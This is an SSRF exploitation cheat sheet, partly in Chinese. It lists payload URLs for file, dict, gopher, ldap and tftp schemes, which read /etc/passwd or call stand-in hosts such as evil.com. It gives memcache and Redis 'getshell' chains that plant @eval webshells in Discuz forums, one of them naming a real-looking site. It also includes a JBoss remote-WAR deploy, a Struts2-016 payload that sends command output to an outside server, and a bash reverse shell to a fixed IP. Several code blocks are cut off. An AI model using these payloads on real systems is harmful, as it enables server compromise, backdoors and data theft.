SSRF PHP function
file_get_contents() |
URL schema support
SFTP
http://safebuff.com/ssrf.php?url=sftp://evil.com:11111/ |
Dict
http://safebuff.com/ssrf.php?dict://attacker:11111/ |
gopher
// http://safebuff.com/ssrf.php?url=http://evil.com/gopher.php |
TFTP
http://safebuff.com/ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET |
file
http://safebuff.com/redirect.php?url=file:///etc/passwd |
ldap
http://safebuff.com/redirect.php?url=ldap://localhost:11211/%0astats%0aquit |
PHP-FPM
PHP-FPM universal SSRF bypass safe_mode/disabled_functions/o exploit
SSRF memcache Getshell
Generate serialize
<?php |
Output
a:1:{s:12:"global_start";s:25:"@eval($_REQUEST['eval']);";} //序列化數據 |
webshell.php
<?php |
back.php
<?php |
example Discuz
open the website
http://bbs.biligame.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://myvps/webshell.php?logo.jpg[/img] |
clear data
http://bbs.biligame.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://myserver/back.php?logo.jpg[/img] |
backdoor url
http://bbs.biligame.com/data/cache/hello.php |
SSRF Redis Getshell
Generate serialize
<?php |
Output
a:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";a:1:{s:7:"plugins";s:5:"/.*/e";}s:7:"replace";a:1:{s:7:"plugins";s:19:"@eval($_POST["c"]);";}}}s:13:"rewritestatus";i:1;} //序列化數據 |
example Discuz
Open website
http://192.168.80.116/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://you-vps-ip/ssrf.php?.jpg[/img]&formhash=818c8f44 |
Backdoor website
http://192.168.80.116/forum.php?mod=ajax&inajax=yes&action=getthreadtypes |
FFmpeg
cat test.jpg
#EXTM3U |
#EXTM3U |
PostgreSQL
Exploit
> SELECT dblink_send_query('host=127.0.0.1 dbname=quit user=\'\nstats\n\' password=1 port=11211 sslmode=disable','select |
MongoDB
Exploit
> db.copyDatabase("\1\2\3\4\5\6\7",'test','localhost:8000') |
CouchDB
exploit
http://localhost:5984/_users/_all_docs |
HTTP/1.1 200 OK |
Attacker could also send requests from CouchDB server to intranet by using replication function
POST http://couchdb:5984/_replicate |
Jboss
Jbosss POC
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://our_public_internet_server/utils/cmd.war |
寫入shell
http://target.com/ueditor/jsp/getRemoteImage.jsp |
http://target.com/ueditor/jsp/getRemoteImage.jsp |
reverse shell
bash -i >& /dev/tcp/123.45.67.89/9999 0>&1 |
Weblogic
gopher.php
<?php |
vuln website
https://example.com/uddiexplorer/SearchPublicRegistries.jsp |
vps
> nc -lvv 2333 |
Local File Read
http://www.xxx.com/redirect.php?url=file:///etc/passwd |
Bool SSRF
Struts2-016 POC
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SERVER/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()} |
SSRF Proxy
當我們發現SSRF漏洞后,首先要做的事情就是測試所有可用的URL Schema:
- file:///
- dict://
- sftp://
- ldap://
- tftp://
- gopher://
####file://
這種URL Schema可以嘗試從文件系統中獲取文件:
http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini
如果該服務器阻止對外部站點發送HTTP請求,或啟用了白名單防護機制,只需使用如下所示的URL Schema就可以繞過這些限制:
####dict://
這種URL Scheme能夠引用允許通過DICT協議使用的定義或單詞列表:
http://example.com/ssrf.php?dict://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 31126)
CLIENT libcurl 7.40.0
####sftp://
在這里,Sftp代表SSH文件傳輸協議(SSH File Transfer Protocol),或安全文件傳輸協議(Secure File Transfer Protocol),這是一種與SSH打包在一起的單獨協議,它運行在安全連接上,並以類似的方式進行工作。
http://example.com/ssrf.php?url=sftp://evil.com:1337/
evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 37146)
SSH-2.0-libssh2_1.4.2
####ldap://或ldaps:// 或ldapi://
LDAP代表輕量級目錄訪問協議。它是IP網絡上的一種用於管理和訪問分布式目錄信息服務的應用程序協議。
http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
####tftp://
TFTP(Trivial File Transfer Protocol,簡單文件傳輸協議)是一種簡單的基於lockstep機制的文件傳輸協議,它允許客戶端從遠程主機獲取文件或將文件上傳至遠程主機。
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port1337)
TESTUDPPACKEToctettsize0blksize512timeout3
####gopher://
Gopher是一種分布式文檔傳遞服務。利用該服務,用戶可以無縫地瀏覽、搜索和檢索駐留在不同位置的信息。
http://example.com/ssrf.php?url=http://attacker.com/gopher.php
gopher.php (host it on acttacker.com):-
<?php
header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');
?>
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port1337)
Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)
Hi
ssrf
test
有關更多信息,請參見此處。
###掃描內部網絡和端口
如果攻擊對象在局域網中運行一些服務器(如Kibana、Elastic Search、MongoDB,等等),但是我們卻無法直接從Internet訪問它們,因為防火牆會阻止這些訪問,那么,我們該如何是好呢?
別急,我們可以利用SSRF漏洞來訪問它們。
攻擊者可以運行內部IP並進行端口掃描,從而了解有關目標的更多信息,並將其用於進一步攻擊。
有時,這甚至會導致遠程代碼執行攻擊。
示例:假設攻擊者發現了一台運行過時軟件的內部主機,該主機存在已經公開曝光的RCE漏洞,這樣的話,攻擊者就可以利用該漏洞來執行代碼。當然,這種方式也適用於其他類型的漏洞。